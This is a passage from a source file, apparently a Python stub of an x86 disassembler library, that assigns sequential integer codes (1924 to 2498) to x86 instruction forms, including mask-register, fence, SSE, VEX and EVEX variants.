VEX_KMOVB_M8_KR: int = 1924
VEX_KMOVD_M32_KR: int = 1925
VEX_KMOVW_KR_R32: int = 1926
VEX_KMOVB_KR_R32: int = 1927
VEX_KMOVD_KR_R32: int = 1928
VEX_KMOVQ_KR_R64: int = 1929
VEX_KMOVW_R32_KR: int = 1930
VEX_KMOVB_R32_KR: int = 1931
VEX_KMOVD_R32_KR: int = 1932
VEX_KMOVQ_R64_KR: int = 1933
VEX_KORTESTW_KR_KR: int = 1934
VEX_KORTESTQ_KR_KR: int = 1935
VEX_KORTESTB_KR_KR: int = 1936
VEX_KORTESTD_KR_KR: int = 1937
VEX_KTESTW_KR_KR: int = 1938
VEX_KTESTQ_KR_KR: int = 1939
VEX_KTESTB_KR_KR: int = 1940
VEX_KTESTD_KR_KR: int = 1941
PUSHW_FS: int = 1942
PUSHD_FS: int = 1943
PUSHQ_FS: int = 1944
POPW_FS: int = 1945
POPD_FS: int = 1946
POPQ_FS: int = 1947
CPUID: int = 1948
BT_RM16_R16: int = 1949
BT_RM32_R32: int = 1950
BT_RM64_R64: int = 1951
SHLD_RM16_R16_IMM8: int = 1952
SHLD_RM32_R32_IMM8: int = 1953
SHLD_RM64_R64_IMM8: int = 1954
SHLD_RM16_R16_CL: int = 1955
SHLD_RM32_R32_CL: int = 1956
SHLD_RM64_R64_CL: int = 1957
MONTMUL_16: int = 1958
MONTMUL_32: int = 1959
MONTMUL_64: int = 1960
XSHA1_16: int = 1961
XSHA1_32: int = 1962
XSHA1_64: int = 1963
XSHA256_16: int = 1964
XSHA256_32: int = 1965
XSHA256_64: int = 1966
XBTS_R16_RM16: int = 1967
XBTS_R32_RM32: int = 1968
XSTORE_16: int = 1969
XSTORE_32: int = 1970
XSTORE_64: int = 1971
XCRYPTECB_16: int = 1972
XCRYPTECB_32: int = 1973
XCRYPTECB_64: int = 1974
XCRYPTCBC_16: int = 1975
XCRYPTCBC_32: int = 1976
XCRYPTCBC_64: int = 1977
XCRYPTCTR_16: int = 1978
XCRYPTCTR_32: int = 1979
XCRYPTCTR_64: int = 1980
XCRYPTCFB_16: int = 1981
XCRYPTCFB_32: int = 1982
XCRYPTCFB_64: int = 1983
XCRYPTOFB_16: int = 1984
XCRYPTOFB_32: int = 1985
XCRYPTOFB_64: int = 1986
IBTS_RM16_R16: int = 1987
IBTS_RM32_R32: int = 1988
CMPXCHG486_RM8_R8: int = 1989
CMPXCHG486_RM16_R16: int = 1990
CMPXCHG486_RM32_R32: int = 1991
PUSHW_GS: int = 1992
PUSHD_GS: int = 1993
PUSHQ_GS: int = 1994
POPW_GS: int = 1995
POPD_GS: int = 1996
POPQ_GS: int = 1997
RSM: int = 1998
BTS_RM16_R16: int = 1999
BTS_RM32_R32: int = 2000
BTS_RM64_R64: int = 2001
SHRD_RM16_R16_IMM8: int = 2002
SHRD_RM32_R32_IMM8: int = 2003
SHRD_RM64_R64_IMM8: int = 2004
SHRD_RM16_R16_CL: int = 2005
SHRD_RM32_R32_CL: int = 2006
SHRD_RM64_R64_CL: int = 2007
FXSAVE_M512BYTE: int = 2008
FXSAVE64_M512BYTE: int = 2009
RDFSBASE_R32: int = 2010
RDFSBASE_R64: int = 2011
FXRSTOR_M512BYTE: int = 2012
FXRSTOR64_M512BYTE: int = 2013
RDGSBASE_R32: int = 2014
RDGSBASE_R64: int = 2015
LDMXCSR_M32: int = 2016
WRFSBASE_R32: int = 2017
WRFSBASE_R64: int = 2018
VEX_VLDMXCSR_M32: int = 2019
STMXCSR_M32: int = 2020
WRGSBASE_R32: int = 2021
WRGSBASE_R64: int = 2022
VEX_VSTMXCSR_M32: int = 2023
XSAVE_MEM: int = 2024
XSAVE64_MEM: int = 2025
PTWRITE_RM32: int = 2026
PTWRITE_RM64: int = 2027
XRSTOR_MEM: int = 2028
XRSTOR64_MEM: int = 2029
INCSSPD_R32: int = 2030
INCSSPQ_R64: int = 2031
XSAVEOPT_MEM: int = 2032
XSAVEOPT64_MEM: int = 2033
CLWB_M8: int = 2034
TPAUSE_R32: int = 2035
TPAUSE_R64: int = 2036
CLRSSBSY_M64: int = 2037
UMONITOR_R16: int = 2038
UMONITOR_R32: int = 2039
UMONITOR_R64: int = 2040
UMWAIT_R32: int = 2041
UMWAIT_R64: int = 2042
CLFLUSH_M8: int = 2043
CLFLUSHOPT_M8: int = 2044
LFENCE: int = 2045
LFENCE_E9: int = 2046
LFENCE_EA: int = 2047
LFENCE_EB: int = 2048
LFENCE_EC: int = 2049
LFENCE_ED: int = 2050
LFENCE_EE: int = 2051
LFENCE_EF: int = 2052
MFENCE: int = 2053
MFENCE_F1: int = 2054
MFENCE_F2: int = 2055
MFENCE_F3: int = 2056
MFENCE_F4: int = 2057
MFENCE_F5: int = 2058
MFENCE_F6: int = 2059
MFENCE_F7: int = 2060
SFENCE: int = 2061
SFENCE_F9: int = 2062
SFENCE_FA: int = 2063
SFENCE_FB: int = 2064
SFENCE_FC: int = 2065
SFENCE_FD: int = 2066
SFENCE_FE: int = 2067
SFENCE_FF: int = 2068
PCOMMIT: int = 2069
IMUL_R16_RM16: int = 2070
IMUL_R32_RM32: int = 2071
IMUL_R64_RM64: int = 2072
CMPXCHG_RM8_R8: int = 2073
CMPXCHG_RM16_R16: int = 2074
CMPXCHG_RM32_R32: int = 2075
CMPXCHG_RM64_R64: int = 2076
LSS_R16_M1616: int = 2077
LSS_R32_M1632: int = 2078
LSS_R64_M1664: int = 2079
BTR_RM16_R16: int = 2080
BTR_RM32_R32: int = 2081
BTR_RM64_R64: int = 2082
LFS_R16_M1616: int = 2083
LFS_R32_M1632: int = 2084
LFS_R64_M1664: int = 2085
LGS_R16_M1616: int = 2086
LGS_R32_M1632: int = 2087
LGS_R64_M1664: int = 2088
MOVZX_R16_RM8: int = 2089
MOVZX_R32_RM8: int = 2090
MOVZX_R64_RM8: int = 2091
MOVZX_R16_RM16: int = 2092
MOVZX_R32_RM16: int = 2093
MOVZX_R64_RM16: int = 2094
JMPE_DISP16: int = 2095
JMPE_DISP32: int = 2096
POPCNT_R16_RM16: int = 2097
POPCNT_R32_RM32: int = 2098
POPCNT_R64_RM64: int = 2099
UD1_R16_RM16: int = 2100
UD1_R32_RM32: int = 2101
UD1_R64_RM64: int = 2102
BT_RM16_IMM8: int = 2103
BT_RM32_IMM8: int = 2104
BT_RM64_IMM8: int = 2105
BTS_RM16_IMM8: int = 2106
BTS_RM32_IMM8: int = 2107
BTS_RM64_IMM8: int = 2108
BTR_RM16_IMM8: int = 2109
BTR_RM32_IMM8: int = 2110
BTR_RM64_IMM8: int = 2111
BTC_RM16_IMM8: int = 2112
BTC_RM32_IMM8: int = 2113
BTC_RM64_IMM8: int = 2114
BTC_RM16_R16: int = 2115
BTC_RM32_R32: int = 2116
BTC_RM64_R64: int = 2117
BSF_R16_RM16: int = 2118
BSF_R32_RM32: int = 2119
BSF_R64_RM64: int = 2120
TZCNT_R16_RM16: int = 2121
TZCNT_R32_RM32: int = 2122
TZCNT_R64_RM64: int = 2123
BSR_R16_RM16: int = 2124
BSR_R32_RM32: int = 2125
BSR_R64_RM64: int = 2126
LZCNT_R16_RM16: int = 2127
LZCNT_R32_RM32: int = 2128
LZCNT_R64_RM64: int = 2129
MOVSX_R16_RM8: int = 2130
MOVSX_R32_RM8: int = 2131
MOVSX_R64_RM8: int = 2132
MOVSX_R16_RM16: int = 2133
MOVSX_R32_RM16: int = 2134
MOVSX_R64_RM16: int = 2135
XADD_RM8_R8: int = 2136
XADD_RM16_R16: int = 2137
XADD_RM32_R32: int = 2138
XADD_RM64_R64: int = 2139
CMPPS_XMM_XMMM128_IMM8: int = 2140
VEX_VCMPPS_XMM_XMM_XMMM128_IMM8: int = 2141
VEX_VCMPPS_YMM_YMM_YMMM256_IMM8: int = 2142
EVEX_VCMPPS_KR_K1_XMM_XMMM128B32_IMM8: int = 2143
EVEX_VCMPPS_KR_K1_YMM_YMMM256B32_IMM8: int = 2144
EVEX_VCMPPS_KR_K1_ZMM_ZMMM512B32_IMM8_SAE: int = 2145
CMPPD_XMM_XMMM128_IMM8: int = 2146
VEX_VCMPPD_XMM_XMM_XMMM128_IMM8: int = 2147
VEX_VCMPPD_YMM_YMM_YMMM256_IMM8: int = 2148
EVEX_VCMPPD_KR_K1_XMM_XMMM128B64_IMM8: int = 2149
EVEX_VCMPPD_KR_K1_YMM_YMMM256B64_IMM8: int = 2150
EVEX_VCMPPD_KR_K1_ZMM_ZMMM512B64_IMM8_SAE: int = 2151
CMPSS_XMM_XMMM32_IMM8: int = 2152
VEX_VCMPSS_XMM_XMM_XMMM32_IMM8: int = 2153
EVEX_VCMPSS_KR_K1_XMM_XMMM32_IMM8_SAE: int = 2154
CMPSD_XMM_XMMM64_IMM8: int = 2155
VEX_VCMPSD_XMM_XMM_XMMM64_IMM8: int = 2156
EVEX_VCMPSD_KR_K1_XMM_XMMM64_IMM8_SAE: int = 2157
MOVNTI_M32_R32: int = 2158
MOVNTI_M64_R64: int = 2159
PINSRW_MM_R32M16_IMM8: int = 2160
PINSRW_MM_R64M16_IMM8: int = 2161
PINSRW_XMM_R32M16_IMM8: int = 2162
PINSRW_XMM_R64M16_IMM8: int = 2163
VEX_VPINSRW_XMM_XMM_R32M16_IMM8: int = 2164
VEX_VPINSRW_XMM_XMM_R64M16_IMM8: int = 2165
EVEX_VPINSRW_XMM_XMM_R32M16_IMM8: int = 2166
EVEX_VPINSRW_XMM_XMM_R64M16_IMM8: int = 2167
PEXTRW_R32_MM_IMM8: int = 2168
PEXTRW_R64_MM_IMM8: int = 2169
PEXTRW_R32_XMM_IMM8: int = 2170
PEXTRW_R64_XMM_IMM8: int = 2171
VEX_VPEXTRW_R32_XMM_IMM8: int = 2172
VEX_VPEXTRW_R64_XMM_IMM8: int = 2173
EVEX_VPEXTRW_R32_XMM_IMM8: int = 2174
EVEX_VPEXTRW_R64_XMM_IMM8: int = 2175
SHUFPS_XMM_XMMM128_IMM8: int = 2176
VEX_VSHUFPS_XMM_XMM_XMMM128_IMM8: int = 2177
VEX_VSHUFPS_YMM_YMM_YMMM256_IMM8: int = 2178
EVEX_VSHUFPS_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 2179
EVEX_VSHUFPS_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 2180
EVEX_VSHUFPS_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 2181
SHUFPD_XMM_XMMM128_IMM8: int = 2182
VEX_VSHUFPD_XMM_XMM_XMMM128_IMM8: int = 2183
VEX_VSHUFPD_YMM_YMM_YMMM256_IMM8: int = 2184
EVEX_VSHUFPD_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 2185
EVEX_VSHUFPD_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 2186
EVEX_VSHUFPD_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 2187
CMPXCHG8B_M64: int = 2188
CMPXCHG16B_M128: int = 2189
XRSTORS_MEM: int = 2190
XRSTORS64_MEM: int = 2191
XSAVEC_MEM: int = 2192
XSAVEC64_MEM: int = 2193
XSAVES_MEM: int = 2194
XSAVES64_MEM: int = 2195
VMPTRLD_M64: int = 2196
VMCLEAR_M64: int = 2197
VMXON_M64: int = 2198
RDRAND_R16: int = 2199
RDRAND_R32: int = 2200
RDRAND_R64: int = 2201
VMPTRST_M64: int = 2202
RDSEED_R16: int = 2203
RDSEED_R32: int = 2204
RDSEED_R64: int = 2205
RDPID_R32: int = 2206
RDPID_R64: int = 2207
BSWAP_R16: int = 2208
BSWAP_R32: int = 2209
BSWAP_R64: int = 2210
ADDSUBPD_XMM_XMMM128: int = 2211
VEX_VADDSUBPD_XMM_XMM_XMMM128: int = 2212
VEX_VADDSUBPD_YMM_YMM_YMMM256: int = 2213
ADDSUBPS_XMM_XMMM128: int = 2214
VEX_VADDSUBPS_XMM_XMM_XMMM128: int = 2215
VEX_VADDSUBPS_YMM_YMM_YMMM256: int = 2216
PSRLW_MM_MMM64: int = 2217
PSRLW_XMM_XMMM128: int = 2218
VEX_VPSRLW_XMM_XMM_XMMM128: int = 2219
VEX_VPSRLW_YMM_YMM_XMMM128: int = 2220
EVEX_VPSRLW_XMM_K1Z_XMM_XMMM128: int = 2221
EVEX_VPSRLW_YMM_K1Z_YMM_XMMM128: int = 2222
EVEX_VPSRLW_ZMM_K1Z_ZMM_XMMM128: int = 2223
PSRLD_MM_MMM64: int = 2224
PSRLD_XMM_XMMM128: int = 2225
VEX_VPSRLD_XMM_XMM_XMMM128: int = 2226
VEX_VPSRLD_YMM_YMM_XMMM128: int = 2227
EVEX_VPSRLD_XMM_K1Z_XMM_XMMM128: int = 2228
EVEX_VPSRLD_YMM_K1Z_YMM_XMMM128: int = 2229
EVEX_VPSRLD_ZMM_K1Z_ZMM_XMMM128: int = 2230
PSRLQ_MM_MMM64: int = 2231
PSRLQ_XMM_XMMM128: int = 2232
VEX_VPSRLQ_XMM_XMM_XMMM128: int = 2233
VEX_VPSRLQ_YMM_YMM_XMMM128: int = 2234
EVEX_VPSRLQ_XMM_K1Z_XMM_XMMM128: int = 2235
EVEX_VPSRLQ_YMM_K1Z_YMM_XMMM128: int = 2236
EVEX_VPSRLQ_ZMM_K1Z_ZMM_XMMM128: int = 2237
PADDQ_MM_MMM64: int = 2238
PADDQ_XMM_XMMM128: int = 2239
VEX_VPADDQ_XMM_XMM_XMMM128: int = 2240
VEX_VPADDQ_YMM_YMM_YMMM256: int = 2241
EVEX_VPADDQ_XMM_K1Z_XMM_XMMM128B64: int = 2242
EVEX_VPADDQ_YMM_K1Z_YMM_YMMM256B64: int = 2243
EVEX_VPADDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2244
PMULLW_MM_MMM64: int = 2245
PMULLW_XMM_XMMM128: int = 2246
VEX_VPMULLW_XMM_XMM_XMMM128: int = 2247
VEX_VPMULLW_YMM_YMM_YMMM256: int = 2248
EVEX_VPMULLW_XMM_K1Z_XMM_XMMM128: int = 2249
EVEX_VPMULLW_YMM_K1Z_YMM_YMMM256: int = 2250
EVEX_VPMULLW_ZMM_K1Z_ZMM_ZMMM512: int = 2251
MOVQ_XMMM64_XMM: int = 2252
VEX_VMOVQ_XMMM64_XMM: int = 2253
EVEX_VMOVQ_XMMM64_XMM: int = 2254
MOVQ2DQ_XMM_MM: int = 2255
MOVDQ2Q_MM_XMM: int = 2256
PMOVMSKB_R32_MM: int = 2257
PMOVMSKB_R64_MM: int = 2258
PMOVMSKB_R32_XMM: int = 2259
PMOVMSKB_R64_XMM: int = 2260
VEX_VPMOVMSKB_R32_XMM: int = 2261
VEX_VPMOVMSKB_R64_XMM: int = 2262
VEX_VPMOVMSKB_R32_YMM: int = 2263
VEX_VPMOVMSKB_R64_YMM: int = 2264
PSUBUSB_MM_MMM64: int = 2265
PSUBUSB_XMM_XMMM128: int = 2266
VEX_VPSUBUSB_XMM_XMM_XMMM128: int = 2267
VEX_VPSUBUSB_YMM_YMM_YMMM256: int = 2268
EVEX_VPSUBUSB_XMM_K1Z_XMM_XMMM128: int = 2269
EVEX_VPSUBUSB_YMM_K1Z_YMM_YMMM256: int = 2270
EVEX_VPSUBUSB_ZMM_K1Z_ZMM_ZMMM512: int = 2271
PSUBUSW_MM_MMM64: int = 2272
PSUBUSW_XMM_XMMM128: int = 2273
VEX_VPSUBUSW_XMM_XMM_XMMM128: int = 2274
VEX_VPSUBUSW_YMM_YMM_YMMM256: int = 2275
EVEX_VPSUBUSW_XMM_K1Z_XMM_XMMM128: int = 2276
EVEX_VPSUBUSW_YMM_K1Z_YMM_YMMM256: int = 2277
EVEX_VPSUBUSW_ZMM_K1Z_ZMM_ZMMM512: int = 2278
PMINUB_MM_MMM64: int = 2279
PMINUB_XMM_XMMM128: int = 2280
VEX_VPMINUB_XMM_XMM_XMMM128: int = 2281
VEX_VPMINUB_YMM_YMM_YMMM256: int = 2282
EVEX_VPMINUB_XMM_K1Z_XMM_XMMM128: int = 2283
EVEX_VPMINUB_YMM_K1Z_YMM_YMMM256: int = 2284
EVEX_VPMINUB_ZMM_K1Z_ZMM_ZMMM512: int = 2285
PAND_MM_MMM64: int = 2286
PAND_XMM_XMMM128: int = 2287
VEX_VPAND_XMM_XMM_XMMM128: int = 2288
VEX_VPAND_YMM_YMM_YMMM256: int = 2289
EVEX_VPANDD_XMM_K1Z_XMM_XMMM128B32: int = 2290
EVEX_VPANDD_YMM_K1Z_YMM_YMMM256B32: int = 2291
EVEX_VPANDD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2292
EVEX_VPANDQ_XMM_K1Z_XMM_XMMM128B64: int = 2293
EVEX_VPANDQ_YMM_K1Z_YMM_YMMM256B64: int = 2294
EVEX_VPANDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2295
PADDUSB_MM_MMM64: int = 2296
PADDUSB_XMM_XMMM128: int = 2297
VEX_VPADDUSB_XMM_XMM_XMMM128: int = 2298
VEX_VPADDUSB_YMM_YMM_YMMM256: int = 2299
EVEX_VPADDUSB_XMM_K1Z_XMM_XMMM128: int = 2300
EVEX_VPADDUSB_YMM_K1Z_YMM_YMMM256: int = 2301
EVEX_VPADDUSB_ZMM_K1Z_ZMM_ZMMM512: int = 2302
PADDUSW_MM_MMM64: int = 2303
PADDUSW_XMM_XMMM128: int = 2304
VEX_VPADDUSW_XMM_XMM_XMMM128: int = 2305
VEX_VPADDUSW_YMM_YMM_YMMM256: int = 2306
EVEX_VPADDUSW_XMM_K1Z_XMM_XMMM128: int = 2307
EVEX_VPADDUSW_YMM_K1Z_YMM_YMMM256: int = 2308
EVEX_VPADDUSW_ZMM_K1Z_ZMM_ZMMM512: int = 2309
PMAXUB_MM_MMM64: int = 2310
PMAXUB_XMM_XMMM128: int = 2311
VEX_VPMAXUB_XMM_XMM_XMMM128: int = 2312
VEX_VPMAXUB_YMM_YMM_YMMM256: int = 2313
EVEX_VPMAXUB_XMM_K1Z_XMM_XMMM128: int = 2314
EVEX_VPMAXUB_YMM_K1Z_YMM_YMMM256: int = 2315
EVEX_VPMAXUB_ZMM_K1Z_ZMM_ZMMM512: int = 2316
PANDN_MM_MMM64: int = 2317
PANDN_XMM_XMMM128: int = 2318
VEX_VPANDN_XMM_XMM_XMMM128: int = 2319
VEX_VPANDN_YMM_YMM_YMMM256: int = 2320
EVEX_VPANDND_XMM_K1Z_XMM_XMMM128B32: int = 2321
EVEX_VPANDND_YMM_K1Z_YMM_YMMM256B32: int = 2322
EVEX_VPANDND_ZMM_K1Z_ZMM_ZMMM512B32: int = 2323
EVEX_VPANDNQ_XMM_K1Z_XMM_XMMM128B64: int = 2324
EVEX_VPANDNQ_YMM_K1Z_YMM_YMMM256B64: int = 2325
EVEX_VPANDNQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2326
PAVGB_MM_MMM64: int = 2327
PAVGB_XMM_XMMM128: int = 2328
VEX_VPAVGB_XMM_XMM_XMMM128: int = 2329
VEX_VPAVGB_YMM_YMM_YMMM256: int = 2330
EVEX_VPAVGB_XMM_K1Z_XMM_XMMM128: int = 2331
EVEX_VPAVGB_YMM_K1Z_YMM_YMMM256: int = 2332
EVEX_VPAVGB_ZMM_K1Z_ZMM_ZMMM512: int = 2333
PSRAW_MM_MMM64: int = 2334
PSRAW_XMM_XMMM128: int = 2335
VEX_VPSRAW_XMM_XMM_XMMM128: int = 2336
VEX_VPSRAW_YMM_YMM_XMMM128: int = 2337
EVEX_VPSRAW_XMM_K1Z_XMM_XMMM128: int = 2338
EVEX_VPSRAW_YMM_K1Z_YMM_XMMM128: int = 2339
EVEX_VPSRAW_ZMM_K1Z_ZMM_XMMM128: int = 2340
PSRAD_MM_MMM64: int = 2341
PSRAD_XMM_XMMM128: int = 2342
VEX_VPSRAD_XMM_XMM_XMMM128: int = 2343
VEX_VPSRAD_YMM_YMM_XMMM128: int = 2344
EVEX_VPSRAD_XMM_K1Z_XMM_XMMM128: int = 2345
EVEX_VPSRAD_YMM_K1Z_YMM_XMMM128: int = 2346
EVEX_VPSRAD_ZMM_K1Z_ZMM_XMMM128: int = 2347
EVEX_VPSRAQ_XMM_K1Z_XMM_XMMM128: int = 2348
EVEX_VPSRAQ_YMM_K1Z_YMM_XMMM128: int = 2349
EVEX_VPSRAQ_ZMM_K1Z_ZMM_XMMM128: int = 2350
PAVGW_MM_MMM64: int = 2351
PAVGW_XMM_XMMM128: int = 2352
VEX_VPAVGW_XMM_XMM_XMMM128: int = 2353
VEX_VPAVGW_YMM_YMM_YMMM256: int = 2354
EVEX_VPAVGW_XMM_K1Z_XMM_XMMM128: int = 2355
EVEX_VPAVGW_YMM_K1Z_YMM_YMMM256: int = 2356
EVEX_VPAVGW_ZMM_K1Z_ZMM_ZMMM512: int = 2357
PMULHUW_MM_MMM64: int = 2358
PMULHUW_XMM_XMMM128: int = 2359
VEX_VPMULHUW_XMM_XMM_XMMM128: int = 2360
VEX_VPMULHUW_YMM_YMM_YMMM256: int = 2361
EVEX_VPMULHUW_XMM_K1Z_XMM_XMMM128: int = 2362
EVEX_VPMULHUW_YMM_K1Z_YMM_YMMM256: int = 2363
EVEX_VPMULHUW_ZMM_K1Z_ZMM_ZMMM512: int = 2364
PMULHW_MM_MMM64: int = 2365
PMULHW_XMM_XMMM128: int = 2366
VEX_VPMULHW_XMM_XMM_XMMM128: int = 2367
VEX_VPMULHW_YMM_YMM_YMMM256: int = 2368
EVEX_VPMULHW_XMM_K1Z_XMM_XMMM128: int = 2369
EVEX_VPMULHW_YMM_K1Z_YMM_YMMM256: int = 2370
EVEX_VPMULHW_ZMM_K1Z_ZMM_ZMMM512: int = 2371
CVTTPD2DQ_XMM_XMMM128: int = 2372
VEX_VCVTTPD2DQ_XMM_XMMM128: int = 2373
VEX_VCVTTPD2DQ_XMM_YMMM256: int = 2374
EVEX_VCVTTPD2DQ_XMM_K1Z_XMMM128B64: int = 2375
EVEX_VCVTTPD2DQ_XMM_K1Z_YMMM256B64: int = 2376
EVEX_VCVTTPD2DQ_YMM_K1Z_ZMMM512B64_SAE: int = 2377
CVTDQ2PD_XMM_XMMM64: int = 2378
VEX_VCVTDQ2PD_XMM_XMMM64: int = 2379
VEX_VCVTDQ2PD_YMM_XMMM128: int = 2380
EVEX_VCVTDQ2PD_XMM_K1Z_XMMM64B32: int = 2381
EVEX_VCVTDQ2PD_YMM_K1Z_XMMM128B32: int = 2382
EVEX_VCVTDQ2PD_ZMM_K1Z_YMMM256B32_ER: int = 2383
EVEX_VCVTQQ2PD_XMM_K1Z_XMMM128B64: int = 2384
EVEX_VCVTQQ2PD_YMM_K1Z_YMMM256B64: int = 2385
EVEX_VCVTQQ2PD_ZMM_K1Z_ZMMM512B64_ER: int = 2386
CVTPD2DQ_XMM_XMMM128: int = 2387
VEX_VCVTPD2DQ_XMM_XMMM128: int = 2388
VEX_VCVTPD2DQ_XMM_YMMM256: int = 2389
EVEX_VCVTPD2DQ_XMM_K1Z_XMMM128B64: int = 2390
EVEX_VCVTPD2DQ_XMM_K1Z_YMMM256B64: int = 2391
EVEX_VCVTPD2DQ_YMM_K1Z_ZMMM512B64_ER: int = 2392
MOVNTQ_M64_MM: int = 2393
MOVNTDQ_M128_XMM: int = 2394
VEX_VMOVNTDQ_M128_XMM: int = 2395
VEX_VMOVNTDQ_M256_YMM: int = 2396
EVEX_VMOVNTDQ_M128_XMM: int = 2397
EVEX_VMOVNTDQ_M256_YMM: int = 2398
EVEX_VMOVNTDQ_M512_ZMM: int = 2399
PSUBSB_MM_MMM64: int = 2400
PSUBSB_XMM_XMMM128: int = 2401
VEX_VPSUBSB_XMM_XMM_XMMM128: int = 2402
VEX_VPSUBSB_YMM_YMM_YMMM256: int = 2403
EVEX_VPSUBSB_XMM_K1Z_XMM_XMMM128: int = 2404
EVEX_VPSUBSB_YMM_K1Z_YMM_YMMM256: int = 2405
EVEX_VPSUBSB_ZMM_K1Z_ZMM_ZMMM512: int = 2406
PSUBSW_MM_MMM64: int = 2407
PSUBSW_XMM_XMMM128: int = 2408
VEX_VPSUBSW_XMM_XMM_XMMM128: int = 2409
VEX_VPSUBSW_YMM_YMM_YMMM256: int = 2410
EVEX_VPSUBSW_XMM_K1Z_XMM_XMMM128: int = 2411
EVEX_VPSUBSW_YMM_K1Z_YMM_YMMM256: int = 2412
EVEX_VPSUBSW_ZMM_K1Z_ZMM_ZMMM512: int = 2413
PMINSW_MM_MMM64: int = 2414
PMINSW_XMM_XMMM128: int = 2415
VEX_VPMINSW_XMM_XMM_XMMM128: int = 2416
VEX_VPMINSW_YMM_YMM_YMMM256: int = 2417
EVEX_VPMINSW_XMM_K1Z_XMM_XMMM128: int = 2418
EVEX_VPMINSW_YMM_K1Z_YMM_YMMM256: int = 2419
EVEX_VPMINSW_ZMM_K1Z_ZMM_ZMMM512: int = 2420
POR_MM_MMM64: int = 2421
POR_XMM_XMMM128: int = 2422
VEX_VPOR_XMM_XMM_XMMM128: int = 2423
VEX_VPOR_YMM_YMM_YMMM256: int = 2424
EVEX_VPORD_XMM_K1Z_XMM_XMMM128B32: int = 2425
EVEX_VPORD_YMM_K1Z_YMM_YMMM256B32: int = 2426
EVEX_VPORD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2427
EVEX_VPORQ_XMM_K1Z_XMM_XMMM128B64: int = 2428
EVEX_VPORQ_YMM_K1Z_YMM_YMMM256B64: int = 2429
EVEX_VPORQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2430
PADDSB_MM_MMM64: int = 2431
PADDSB_XMM_XMMM128: int = 2432
VEX_VPADDSB_XMM_XMM_XMMM128: int = 2433
VEX_VPADDSB_YMM_YMM_YMMM256: int = 2434
EVEX_VPADDSB_XMM_K1Z_XMM_XMMM128: int = 2435
EVEX_VPADDSB_YMM_K1Z_YMM_YMMM256: int = 2436
EVEX_VPADDSB_ZMM_K1Z_ZMM_ZMMM512: int = 2437
PADDSW_MM_MMM64: int = 2438
PADDSW_XMM_XMMM128: int = 2439
VEX_VPADDSW_XMM_XMM_XMMM128: int = 2440
VEX_VPADDSW_YMM_YMM_YMMM256: int = 2441
EVEX_VPADDSW_XMM_K1Z_XMM_XMMM128: int = 2442
EVEX_VPADDSW_YMM_K1Z_YMM_YMMM256: int = 2443
EVEX_VPADDSW_ZMM_K1Z_ZMM_ZMMM512: int = 2444
PMAXSW_MM_MMM64: int = 2445
PMAXSW_XMM_XMMM128: int = 2446
VEX_VPMAXSW_XMM_XMM_XMMM128: int = 2447
VEX_VPMAXSW_YMM_YMM_YMMM256: int = 2448
EVEX_VPMAXSW_XMM_K1Z_XMM_XMMM128: int = 2449
EVEX_VPMAXSW_YMM_K1Z_YMM_YMMM256: int = 2450
EVEX_VPMAXSW_ZMM_K1Z_ZMM_ZMMM512: int = 2451
PXOR_MM_MMM64: int = 2452
PXOR_XMM_XMMM128: int = 2453
VEX_VPXOR_XMM_XMM_XMMM128: int = 2454
VEX_VPXOR_YMM_YMM_YMMM256: int = 2455
EVEX_VPXORD_XMM_K1Z_XMM_XMMM128B32: int = 2456
EVEX_VPXORD_YMM_K1Z_YMM_YMMM256B32: int = 2457
EVEX_VPXORD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2458
EVEX_VPXORQ_XMM_K1Z_XMM_XMMM128B64: int = 2459
EVEX_VPXORQ_YMM_K1Z_YMM_YMMM256B64: int = 2460
EVEX_VPXORQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2461
LDDQU_XMM_M128: int = 2462
VEX_VLDDQU_XMM_M128: int = 2463
VEX_VLDDQU_YMM_M256: int = 2464
PSLLW_MM_MMM64: int = 2465
PSLLW_XMM_XMMM128: int = 2466
VEX_VPSLLW_XMM_XMM_XMMM128: int = 2467
VEX_VPSLLW_YMM_YMM_XMMM128: int = 2468
EVEX_VPSLLW_XMM_K1Z_XMM_XMMM128: int = 2469
EVEX_VPSLLW_YMM_K1Z_YMM_XMMM128: int = 2470
EVEX_VPSLLW_ZMM_K1Z_ZMM_XMMM128: int = 2471
PSLLD_MM_MMM64: int = 2472
PSLLD_XMM_XMMM128: int = 2473
VEX_VPSLLD_XMM_XMM_XMMM128: int = 2474
VEX_VPSLLD_YMM_YMM_XMMM128: int = 2475
EVEX_VPSLLD_XMM_K1Z_XMM_XMMM128: int = 2476
EVEX_VPSLLD_YMM_K1Z_YMM_XMMM128: int = 2477
EVEX_VPSLLD_ZMM_K1Z_ZMM_XMMM128: int = 2478
PSLLQ_MM_MMM64: int = 2479
PSLLQ_XMM_XMMM128: int = 2480
VEX_VPSLLQ_XMM_XMM_XMMM128: int = 2481
VEX_VPSLLQ_YMM_YMM_XMMM128: int = 2482
EVEX_VPSLLQ_XMM_K1Z_XMM_XMMM128: int = 2483
EVEX_VPSLLQ_YMM_K1Z_YMM_XMMM128: int = 2484
EVEX_VPSLLQ_ZMM_K1Z_ZMM_XMMM128: int = 2485
PMULUDQ_MM_MMM64: int = 2486
PMULUDQ_XMM_XMMM128: int = 2487
VEX_VPMULUDQ_XMM_XMM_XMMM128: int = 2488
VEX_VPMULUDQ_YMM_YMM_YMMM256: int = 2489
EVEX_VPMULUDQ_XMM_K1Z_XMM_XMMM128B64: int = 2490
EVEX_VPMULUDQ_YMM_K1Z_YMM_YMMM256B64: int = 2491
EVEX_VPMULUDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2492
PMADDWD_MM_MMM64: int = 2493
PMADDWD_XMM_XMMM128: int = 2494
VEX_VPMADDWD_XMM_XMM_XMMM128: int = 2495
VEX_VPMADDWD_YMM_YMM_YMMM256: int = 2496
EVEX_VPMADDWD_XMM_K1Z_XMM_XMMM128: int = 2497
EVEX_VPMADDWD_YMM_K1Z_YMM_YMMM256: int = 2498
